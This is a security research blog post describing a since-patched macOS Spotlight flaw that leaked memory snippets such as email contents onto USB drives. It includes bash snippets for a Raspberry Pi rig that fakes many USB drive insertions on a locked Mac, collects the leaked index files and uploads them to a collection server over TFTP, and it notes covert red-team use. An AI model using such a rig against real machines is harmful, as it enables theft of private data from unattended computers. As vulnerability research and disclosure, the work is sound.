Questions? Call 877-752-7170 or contact@fyrmassociates.com

macOS Spotlight Data Leak (Vulnerability Fixed)

By Jeff Yestrumskas, Nate Robb | December 1, 2018

For a period of time, it was possible to read snippets of memory on a screen-locked mac OS system from the USB port.

A while back we noticed some interesting files created by macOS when inserting a USB drive. These files were related to Spotlight, macOS’s built-in search functionality which indexes and enables searching of files on the system, among other things. The presence of the files is fairly standard, as an invisible /Volumes/<Volume Name>/.Spotlight-V100/ directory are added to every USB drive inserted into a macOS system when Spotlight indexes the files on that drive. However, while analyzing some of the file contents, it appeared that content from several emails (subject lines, email addresses, snippets of message contents) was stored among this data, specifically in the .store.db file which serves as Spotlight’s metadata store. This was alarming as this email data had never been purposely stored on that USB drive. The implications were obviously pretty big. Sensitive data from a macOS system could be inadvertently leaked to a removable USB drive by the OS and potentially exposed without a user’s knowledge.

The first thought was, could this be leveraged in a penetration test? And then, how has such a simple leak persisted this long without a fix?

To the Internet we go. Let’s identify if this issue had been documented previously.

CVE-2014-8832

A quick search turned up several hits from 2014. An article from F-secure which summarizes the issue and corresponding risks, a reddit post of angry users who discovered personal data leaked to their USB drives, Apple’s security update notes for the issue with corresponding CVE attributed to F-secure, and the official CVE page that reads: “The indexing functionality in Spotlight in Apple OS X before 10.10.2 writes memory contents to an external hard drive, which allows local users to obtain sensitive information by reading from this drive”.

At this point we concluded that although the issue was patched by Apple in 2014, the issue was perhaps never fully fixed or was reintroduced by some functionality that Apple had made to macOS since the update.

Reproduction and Weaponizing

While we found that we could reproduce the issue in our lab, the Spotlight .store.db metadata files were not always written to the external USB drives, and when they were written they did not always contain sensitive data. We needed a way to automate inserting and removing a USB drive numerous times without involving an army of robots.

Here is our testing setup:

  • Raspberry Pi Zero W
  • Silicon Power 64GB MicroSDXC
  • Raspbian and g_multi kernel module
  • bash script for USB emulation and automation

Enter the Linux USB gadget, which allows a Linux based OS to act as a number of USB device types, including a USB mass storage device. With this setup, our plan was to emulate a massive number of USB drive insertions with our script running on a Pi, connected to a target macOS system with password protected screensaver enabled. This allowed us to fuzz various USB mass storage device settings, modify the amount of devices inserted, insertion duration, and other situational variables to correlate what may be causing the data leak issue.

If using this in a penetration test or red team engagement where one might need to act covertly, there are other Linux single board computers that would work just as well.

Automation Steps

In summary, we automated the insertion of 128 USB mass storage devices simultaneously into the macOS target machine, each device is attached for 10 seconds at a time, removed, then we analyze the data, exfiltrate any interesting data, and then repeated the process.

The full logic is described below. Shell script snippets are provided for some of the more interesting parts of the process, many parts are left out for readability.

This was a particularly fun exercise, exploring automation of Linux loopback filesystems and automating partitioning.

  • Create a “scratch” partition on a ramdisk (to reduce i/o on the sd card) to analyze the results of each insertion

  • dd if=/dev/zero of=$PARTTMP bs=4096 count=1 > /dev/null 2>&1
    echo -e "n\np\n1\n\n\nw" | fdisk $DISKTMP > /dev/null 2>&1
    mkfs $PARTTMP > /dev/null 2>&1
    
  • Create a seed disk file structure. The file structure appears to be the minimum requirement to trigger Spotlight to write a .store.db file on the drive.

  • seedfs/.Spotlight-V100
    seedfs/.Spotlight-V100/VolumeConfiguration.plist
    seedfs/.Spotlight-V100/Store-V1
    seedfs/.Spotlight-V100/Store-V1/VolumeConfig.plist
    seedfs/.Spotlight-V100/Store-V2
    ...
    

This is not very readable, but the echo command is interactively creating partitions of random sizes, and sending commands to fdisk. SEEDDISK is a ramdisk for performance purposes, and to avoid torching the SD card. We copy the contents of the seed disk file structure to the ram disk. Each SEEDDISK will get 3 partitions, as set by MAXPARTS.

  • echo -e "n\np\n\n\n+$((1000 + RANDOM %300))K\nn\np\n\n\n+$((1000 + RANDOM %300))K\nn\np\n\n\n+$((1000 + RANDOM %300))K\nt\n1\n7\nt\n2\n7\nt\n3\n7\nw\n" | fdisk $SEEDDISK > /dev/null 2>&1
    for i in `seq 1 $MAXPARTS`; do
    mkfs.exfat $SEEDDISK\p$i > /dev/null 2>&1
    mkdir -p $SEEDMNT\p$i > /dev/null 2>&1
    mount $SEEDDISK\p$i $SEEDMNT\p$i > /dev/null 2>&1
    cp -r $SEEDPATH.[^.]* $SEEDMNT\p$i
    umount $SEEDMNT\p$i
    done
    
  • The aformentioned disk will be “attached” to the target system as a USB mass storage device. On that disk, we create a few fake files to make sure the disk looks like a different disk and file structure to macOS each time

  • for z in `seq 1 2`; do
          dd bs=20000 count=1 if=/dev/urandom of=$MNTRAM/`date +%N | md5sum | awk '{print $1}'`.txt > /dev/null 2>&1
    done
    
  • Loop through and “insert” the faux presentation disk to the target macOS system, up to 128 times.

  • On each faux disk insertion, a random vendors IDs, product IDs, etc are created. This loosely matches the USB spec.

  • IDVENDOR=0x$((1000 + RANDOM % 8999))
    IDPRODUCT=0x$((1000 + RANDOM % 8999))
    IMANUFACTURER="`< /dev/urandom tr -dc A-Za-z | head -c${1:-12};echo;`"
    IPRODUCT="`< /dev/urandom tr -dc A-Za-z | head -c${1:-12};echo;`"
    ISERIALNUMBER=$((100000 + RANDOM % 899999))$((100000 + RANDOM % 899999))
    BCDDEVICE=0x$((1000 + RANDOM % 8999))
    ADDITIONALPARMS="idVendor=$IDVENDOR bcdDevice=$BCDDEVICE idProduct=$IDPRODUCT iManufacturer=$IMANUFACTURER iProduct=$IPRODUCT iSerialNumber=$ISERIALNUMBER" 
    
  • This is the simple command to attach our emulated USB device to the target system

  • modprobe g_mass_storage file=/dev/ram$x stall=0 $ADDITIONALPARMS
    
  • Pause 10 seconds - this gives Spotlight enough time to write a .store.db file

  • Remove the USB mass storage drive. This will forcefully remove each device. At the time of writing, there did not appear to be a cleaner way to remove the faux drives.

  • rmmod g_mass_storage
    
  • Now that all of the drives have been unmounted, lets loop through all drives and partitions. This is done on a RAM disk to not kill the SD card, and for performance.

  • for x in `seq 1 $MAXDISKS`; do
    	for y in `seq 1 $MAXPARTS`; do
    		PARTRAM=/dev/ram$x\p$y
    		MNTRAM=/mnt/ram$x\p$y
    		mount $PARTRAM $MNTRAM > /dev/null 2>&1
    		STOREDB=`find $MNTRAM -name $TARGET`
    
  • Once mounted, we create a hash and a list of .store.db files. If we see a unique .store.db file, then we’ll tftp .store.db to our pre-defined collection machine or alternatively leave it on the Pi if you don’t wish to create wifi traffic.

  • TMPSHA=`sha1sum $STOREDB | awk '{print $1}' | sort -u`
    
    if grep -q $TMPSHA $SHALIST; then
        # skipping
    else
        TMPFILE="`date +%Y%m%d%H%M%S`-$IDVENDOR-$IDPRODUCT-$IMANUFACTURER-$IPRODUCT-$ISERIALNUMBER-$BCDDEVICE-$TARGET"
    
        if [ $USETFTP == 1 ]; then
            tftp -v $TFTPSERVER $TFTPPORT -c put $STOREDB $TMPFILE
        fi
    
        if [ $STORELOCAL == 1 ]; then
            cp $STOREDB $COLLECT/$TMPFILE
        fi
    
        echo $TMPSHA >> $SHALIST
    fi
    
  • When finished, let’s check our TFTP server, or the Pi itself we wish to store the files locally

Those are the steps to replicate the issue at scale. Now that we’ve automated it, it was time to check out the results.

Testing

Initially, we found that Spotlight did not create the .store.db metadata file on our emulated USB drives upon every insertion/removal. Through some manual testing, it was discovered that when certain brands of USB drives were specified in our script, the .store.db file was written more often than others. It was not known why.

Our next goal was to replicate the conditions which caused sensitive data to leak via the .store.db files every time they were written to the emulated USB drives. To do this, the following actions were attempted:

  • Fuzzing of emulated USB manufacturer attributes
  • Fuzzing of emulated USB insertion duration
  • Fuzzing of number of emulated USB devices inserted
  • Emulated USB insertion at locked screen vs. unlocked screen
  • Forced Spotlight indexing of files prior to USB insertion
  • Attempts at USB insertion under guest account (file vault off/on)
  • Normal system use while running script

To really test this on a massive scale, we needed easily readable and parsable seed data. Enter Project Gutenberg, a source of freely downloadable books in which copyright has expired. After downloading several hundred ebooks from Project Gutenberg and then forcing Spotlight to index by using the mdutil command, we found that the frequency that this data was written increased to six per one-hundred emulated USB drive insertions. Additionally, when logging in to the guest account on our test system with FileVault disabled, we found that data would leak that was only accessible from a non-guest user account. Though at that point, if an attacker has physical access to a macOS system without FileVault enabled, some may consider that game over already.

High Sierra Update

In October of 2017 Apple rolled out their High Sierra update. After thoroughly testing the setup, it appeared that the new update had fixed the Spotlight data leak issue. Upon reviewing the security patch notes for the update, there were several Kernel memory vulnerabilities and a Spotlight access control vulnerability listed. Although it is unclear which patch resolved the issue, fortunately users can rest easy knowing that arbitrary personal data is not being written to their USB storage devices any longer.